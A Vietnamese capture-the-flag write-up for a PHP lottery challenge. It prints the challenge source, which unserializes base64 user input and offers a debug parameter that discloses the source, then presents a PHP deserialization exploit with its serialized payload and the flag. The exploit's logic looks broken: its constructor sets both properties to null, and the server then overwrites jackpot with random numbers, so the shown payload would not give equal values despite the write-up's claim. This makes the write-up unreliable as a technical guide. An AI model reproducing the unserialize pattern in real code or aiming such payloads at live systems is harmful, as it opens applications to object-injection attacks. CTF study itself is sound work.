> For the complete documentation index, see [llms.txt](https://shangs.gitbook.io/shine/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shangs.gitbook.io/shine/write-up-ctf/tsug0d-mawc/tsulott.md).

# TSULOTT

<figure><img src="/files/OQ2xLUOtu1fy8OxjVAMP" alt=""><figcaption></figcaption></figure>

## Overview

Vào đầu chúng ta sẽ có hai trường inpit nhập vào, nhập code của bạn để nhận win jackpot và nhập 6 số để lấy code.

Ở đây chúng ta sẽ nhập đại gì đó nhưng chúng ta sẽ nhập ở take code trước rồi lấy một chuỗi base64 mà trang đưa ra rồi nó sẽ trả về kết quả như hình ở dưới.

<figure><img src="/files/UnBn6bZy1ytM4ZCwkKVR" alt=""><figcaption></figcaption></figure>

## Analys

Sau một lúc thì chúng ta xem source code hiện tại có gì `ctrl+U`&#x20;

<figure><img src="/files/q66iY9CG6u3BHBGGKVVk" alt=""><figcaption></figcaption></figure>

Ở đây có gợi ý cho chúng ta là `GET/?is_debug=1` sau khi nhập vào chúng ta sẽ có source code của bài như sau:

<figure><img src="/files/KRA3EGIEKRhyMdgx1O7B" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<body>
<style>
input[type=text] {
    width: 40%;
    padding: 12px 20px;
    margin: 8px 0;
    box-sizing: border-box;
    border: 2px solid red;
    background-color: #ebfff8;
    border-radius: 4px;
}

button[type=submit] {
    width: 10%;
    background-color: #F94848;
    color: white;
    padding: 14px 20px;
    margin: 8px 0;
    border: none;
    border-radius: 4px;
    cursor: pointer;
}

button[type=submit]:hover {
    background-color: #45a049;
}

body {
    background-image: url("money.jpg");
}
</style>

<?php
class Object 
{ 
  var $jackpot;
  var $enter; 
}
?>


<?php

include('secret.php');

if(isset($_GET['input']))  
{
  $obj = unserialize(base64_decode($_GET['input']));
  if($obj)
  {
    $obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99); 
    if($obj->enter === $obj->jackpot)
    {
      echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>";
      echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>";
      echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>";

    }
    else
    {
      echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>";
    }
  }
  else
  {
    echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>";
  }
}
else
{
  echo "";
}
?>
<center>
<br><h2><font color='yellow' size=8>-- TSU</font><font color='red' size=8>LOTT --</font></h2>
<p><p><font color='white'>Input your code to win jackpot!</font><p>
<form>
          <input type="text" name="input" /><p><p>
          <button type="submit" name="btn-submit" value="go">send</button>
</form>
</center>
<?php
if (isset($_GET['gen_code']) && !empty($_GET['gen_code']))
{
  $temp = new Object;
  $temp->enter=$_GET['gen_code'];
  $code=base64_encode(serialize($temp)); 
  echo '<center><font color=\'white\'>Here is your code, please use it to Lott: <strong>'.$code.'</strong></font></center>';
}
?>
<center>
<font color='white'>-----------------------------------------------------------------------------------------------------------------------------</font>
<h3><font color='white'>Take code</font></h3><p>
<p><font color='white'>Pick your six numbers (Ex: 15 02 94 11 88 76)</font><p>
<form>
      <input type="text" name="gen_code" maxlength="17" /><p><p>
      <button type="submit" name="btn-submit" value="go">send</button>
</form>
</center>
<!-- debug: GET is_debug=1 -->
<?php
if(isset($_GET['is_debug']) && $_GET['is_debug']==='1')
{
   show_source(__FILE__);
}
?>
</body>
```

{% endcode %}

Chúng ta sẽ chú ý tới hai đoạn code PHP như sau:

{% code overflow="wrap" lineNumbers="true" %}

```php
<?php
class Object 
{ 
  var $jackpot;
  var $enter; 
}
?>


<?php

include('secret.php');

if(isset($_GET['input']))  
{
  $obj = unserialize(base64_decode($_GET['input']));
  if($obj)
  {
    $obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99); 
    if($obj->enter === $obj->jackpot)
    {
      echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>";
      echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>";
      echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>";

    }
    else
    {
      echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>";
    }
  }
  else
  {
    echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>";
  }
}
else
{
  echo "";
}
?>
```

{% endcode %}

{% hint style="info" %}
Đoạn code php thứ nhất có một class Object có hai thuộc tính là jackpot  và  enter.

Tiếp theo chú ý tới dòng 16 nó sẽ unserialize đoạn code khi nhập input vào, và nó được gán biến $obj. Tiếp theo nó kiểm tra có $obj không thì nó sẽ random jackpot thành 6 số và random từ 10-99 cách nhau ra.

Cuối cùng thuộc tính enter mà bằng jackpot thì có thể có `flag`
{% endhint %}

Ở dưới có thêm đoạn code serialize nội dung code chúng ta nhập ở dưới.

Tóm lại khi này chúng ta nhận ra đây là `PHP Deserialization` khi đó chúng ta có thể control cả class Object trên bằng cách ghi đè nó để hai thuộc tích jackpot và enter bằng nhau.

## Exploit

Ý tưởng bây giờ chúng ta sẽ xây dựng lại class Object giống như trên và khởi tạo hàm `__constructor` cho hai thuộc tính bằng nhau.

{% code overflow="wrap" %}

```php
<?php
class Exploit
{
    var $jackpot;
    var $enter;

    public function __construct()
    {
        $this->jackpot=$this->enter;
    }

}
$code = new Exploit();
echo base64_encode(serialize($code));
//Tzo3OiJFeHBsb2l0IjoyOntzOjc6ImphY2twb3QiO047czo1OiJlbnRlciI7Tjt9
```

{% endcode %}

<figure><img src="/files/54ZsFnrwbEfsj6DCCHuB" alt=""><figcaption></figcaption></figure>

Flag: `MeePwnCTF{__OMG!!!__Y0u_Are_Milli0naire_N0ww!!___}`
